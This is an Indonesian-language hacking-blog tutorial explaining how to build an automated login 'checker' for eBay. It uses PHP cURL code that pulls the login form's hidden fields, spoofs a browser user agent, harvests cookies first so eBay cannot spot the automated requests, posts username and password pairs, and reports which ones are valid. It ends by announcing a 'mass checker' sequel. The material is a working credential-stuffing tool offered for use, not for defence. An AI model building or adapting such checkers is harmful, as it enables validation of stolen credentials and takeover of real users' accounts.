Konsep AutoChecker. Study Kasus eBay.com - Part 1

chmood


mari kita pelajari konsep bagaimana sebuah checker biasanya dibuat. Sebagai contoh, mari kita coba check situs besar yang cukup menarik, eBay.com

./Mencari Login Page

Pertama yang perlu kita lakukan adalah mencari halaman login dari situs yang akan kita check secara otomatis. Sebagai contoh disini, halaman login eBay ada disini
http://signin.ebay.com/aw-cgi/eBayISAPI.dll?SignIn

./Melihat Variabel-Variabel yang dikirim

Yarp, mungkin klo kita perhatikan, kita hanya memasukkan sebuah "Username" dan "Password", tapi sebenarnya belum tentu variabel-variabel yang dikirim oleh sebuah login page hanya kedua variabel tersebut. Variabel ini bisa berupa Hidden Field, Cookies, atau variabel-variabel lain tergantung dari website tersebut. Untuk melihat variabel ini, bisa langsung kita intip source codenya. Mari kita lihat penggalan source code form login eBay.com

<form name="SignInForm" id="SignInForm" method="post" action="https://signin.ebay.com/ws/eBayISAPI.dll?co_partnerId=2&siteid=0&UsingSSL=1"><input type="hidden" name="MfcISAPICommand" id="MfcISAPICommand" value="SignInWelcome"><input type="hidden" name="bhid" id="bhid" value="DEF_CI"><input type="hidden" name="UsingSSL" value="1"><input type="hidden" name="inputversion" id="inputversion" value="2"><input type="hidden" name="lse" id="lse" value="false"><input type="hidden" name="lsv" id="lsv" value=""><input type="hidden" name="mid" id="mid" value="AQAAATkDh9nsAAUxMzkyMDkwNmRjZS5hNTY1YTE5LjZhZTU2LmZmZmQwYzM17WvNaVkZeB1zTq54IQX05wDkGTY*"><input type="hidden" name="kgver" id="kgver" value="1"><input type="hidden" name="kgupg" id="kgupg" value="1"><input type="hidden" name="kgstate" id="kgstate" value=""><input type="hidden" name="omid" id="omid" value=""><input type="hidden" name="hmid" id="hmid" value=""><input type="hidden" name="rhr" id="rhr" value="f"><input type="hidden" name="siteid" value="0"><input type="hidden" name="co_partnerId" value="2"><input type="hidden" name="ru" id="ru" value="http://www.ebay.com/"><input type="hidden" name="pp" id="pp" value=""><input type="hidden" name="pa1" value=""><input type="hidden" name="pa2" value=""><input type="hidden" name="pa3" value=""><input type="hidden" name="i1" value="-1"><input type="hidden" name="pageType" value="-1"><input type="hidden" name="rtmData" value=""><input type="hidden" name="bUrlPrfx" id="bUrlPrfx" value="906dce13920c16if"><input type="hidden" name="kgct" id="kgct" value=""><div><div class="disTxt"></div><div class="sd-uid"><div class="sd-pd"><span><span class="sd-eym"></span></span></div><div class="sd-pd"></div><div class="sd-sd"><span style="display:-moz-inline-stack" class="sd-unl"><label for="userid">User ID </label></span><span><input size="40" maxlength="64" class="txtBxF" value="" name="userid" id="userid"></span></div><div><span style="display:-moz-inline-stack" class="sd-unl"><label for="pass">Password </label></span><span><input size="40" maxlength="64" class="txtBxF" value="" name="pass" id="pass" type="password"></span><div class="sd-pd"><span class="sd-sv">I forgot my <a href="https://scgi.ebay.com/ws/eBayISAPI.dll?UserIdRecognizerShow">user ID</a> or <a href="https://scgi.ebay.com/ws/eBayISAPI.dll?FYPShow">password</a></span></div></div></div></div><div class="sd-kw sd-kp"><div class="sd-km"><b class="sd-pcs"><input type="checkbox" name="keepMeSignInOption" value="1" id="signed_in" checked="checked"></b><span class="sd-pcsm"><label for="signed_in">Keep me signed in</label></span><span class="sd-sgn">(Uncheck if you're on a shared computer)</span></div></div><div class="sd-sb"><b id="sgnBt" class="bn-w bn-m bn-pad pb-L"><i>Sign in</i><span id="spn_sgnBt" class="bn-b pb-b pb-L"><input id="but_sgnBt" name="" value="Sign in" title="Sign in" type="submit"><b id="txt_sgnBt">Sign in</b></span></b></div></form>



Dari situ, ternyata tidak hanya variabel "userid" dan "pass" saja kan... :)


Kalo pusing liat source code, kita bisa menggunakan tools semacam Tamper untuk melihat field-field yang dikirim dari halaman login tersebut. Bagaimana mengisi field-field ini? Jika secara default field ini sudah terdapat valuenya, biarkan secara valuenya terisi secara default. Bisa kita ganti disesuaikan dengan keperluan login kita. Seperti misalnya variabel "ru", karena kita akan melakukan cURL dari server yang berbeda, kita isi "ru" ini dengan "www.ebay.com" agar seolah-olah field-field ini dikirim langsung dari website eBay.


./Redirect URL
Setelah kita mengetahui variabel-variabel apa saja yang akan dikirim, berikutnya kita perlu mengetahui juga akan dikirim kemana variabel-variabel tersebut. Cara mengetahuinya bisa langsung melihat "action" dari <form> halaman login tersebut. Seperti pada kasus,



<form name="SignInForm" id="SignInForm" method="post" action="https://signin.ebay.com/ws/eBayISAPI.dll?co_partnerId=2&siteid=0&UsingSSL=1"><input type="hidden" name="MfcISAPICommand" id="MfcISAPICommand" value="SignInWelcome">


bisa kita lihat ternyata dikirim ke https://signin.ebay.com/ws/eBayISAPI.dll?co_partnerId=2&siteid=0&UsingSSL=1. Akan tetapi perlu kita ketahui juga, biasanya setelah melakukan "action" weblogin akan meredirect kehalaman lain. Hal ini berbeda-beda untuk setiap website. Untuk mengetahui redirect page ini kita juga bisa menggunakan tools seperti Tamper Data. Dalam coding, untuk mengikuti website yang melakukan redirect seperti ini, bisa kita gunakan code

$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);



code diatas berfungsi untuk mengikuti halaman web yang akan kita grab.


./Mendapatkan Cookies


Mari kita kembali ke konsep awal bagaimana sebuah halaman login mengirim data.

User ---> [membuka] ---> <www.ebay.com> ---> [login] ---> <http://signin.ebay.com/aw-cgi/eBayISAPI.dll?SignIn> ---> [redirect] ---> <logged in page>

Dari konsep diatas, yang kita lakukan adalah langsung mengirimkan variabel ke halaman http://signin.ebay.com/aw-cgi/eBayISAPI.dll?SignIn, tanpa melalui halaman eBay. Untuk kasus eBay, kita tidak bisa melakukan hal ini langsung, karena akan mudah diketahui oleh eBay, bahwa kita melakukan pengiriman variabel tidak melalui jalurnya. Kenapa? Karena saat kita melakukan browsing biasa, membuka halaman www.ebay.com, disini kita akan mendapatkan cookies yang akan kita gunakan seterusnya saat mengakses halaman ini. So, untuk mengatasi hal ini, sebelumnya kita harus [seolah-olah] sudah membuka website eBay terlebih dahulu, untuk mendapatkan cookiesnya.
$cookies = "cookies.txt";

$LOGINURL = "http://signin.ebay.com/aw-cgi/eBayISAPI.dll?SignIn";
$agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$LOGINURL);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
$result = curl_exec ($ch);
curl_close ($ch);


Sehingga dengan cara ini kita akan melakukan browsing sebanyak 2 kali. Pertama untuk mendapatkan cookies, dan kedua untuk mengirimkan variabel.


./Grab Result Page


Terakhir adalah mengetahui apakah variabel-variabel yang kita kirim ini berhasil atau tidak. Untuk mengetahuinya terdapat beberapa cara. Cara pertama adalah jika kita sudah mengetahui Tampilan Halaman "Logged In", maka kita bisa meng-grab info unik yang tidak terdapat pada halaman "Login" atau halaman "Error Login". Info unik disini misalnya sebuah teks "Welcome", "Hi," atau Teks lain yang berarti kita berhasil masuk.

$cek_if_logged_in = stripos($result,"Hi,");

if ($cek_if_logged_in !== false) {
$msg = "<span class='found'>Username and Password exist</span>";
} else {
$msg = "<span class='notfound'>Username and Password didn't match</span>";
}
return $msg;



Teks unik ini berbeda untuk masing-masing website. Cara kedua, adalah jika kita belum mengetahui tampilan halaman "Logged In", maka kita bisa menggunakan halaman "Error Login" sebagai acuan apakah variabel kita berhasil dikirim atau tidak.


$cek_if_logged_in = stripos($result,"Wrong Username Or Password");

if ($cek_if_logged_in == true) {
$msg = "<span class='found'>Username and Password exist</span>";
} else {
$msg = "<span class='notfound'>Username and Password didn't match</span>";
}
return $msg;


Yarp, seperti inilah konsep tools-tools Checker sebuah Login Page. Untuk code, saat kita mengirimkan variabel menggunakan cURL ke situs www.ebay.com, kita cukup mengganti value dari "userid" yang merupakan info "username" dan value dari "pass" yang berisi "password" dari "username" yang akan kita check, pada saat melakukan POST.


$POSTFIELDS = 'MfcISAPICommand=SignInWelcome&siteid=0&co_partnerId=2&UsingSSL=0&ru=&pp=&pa1=&pa2=&pa3=&i1=-1&pageType=-1&userid=USERNAME_DISINI&pass=PASSWORD_DISINI;


Dengan mengetahui konsep seperti ini, variabel-variabel dari sebuah "Login Page" mau diganti seperti apapun, kita tetap bisa melakukan auto check, tinggal menyesuaikan Codingan kita masing-masing ja. ^_^


Yarp, capek juga nulisnya, next kita bahas bagaimana Konsep sebuah Mass Checker. :)


./Regards




K4pT3N
Komentar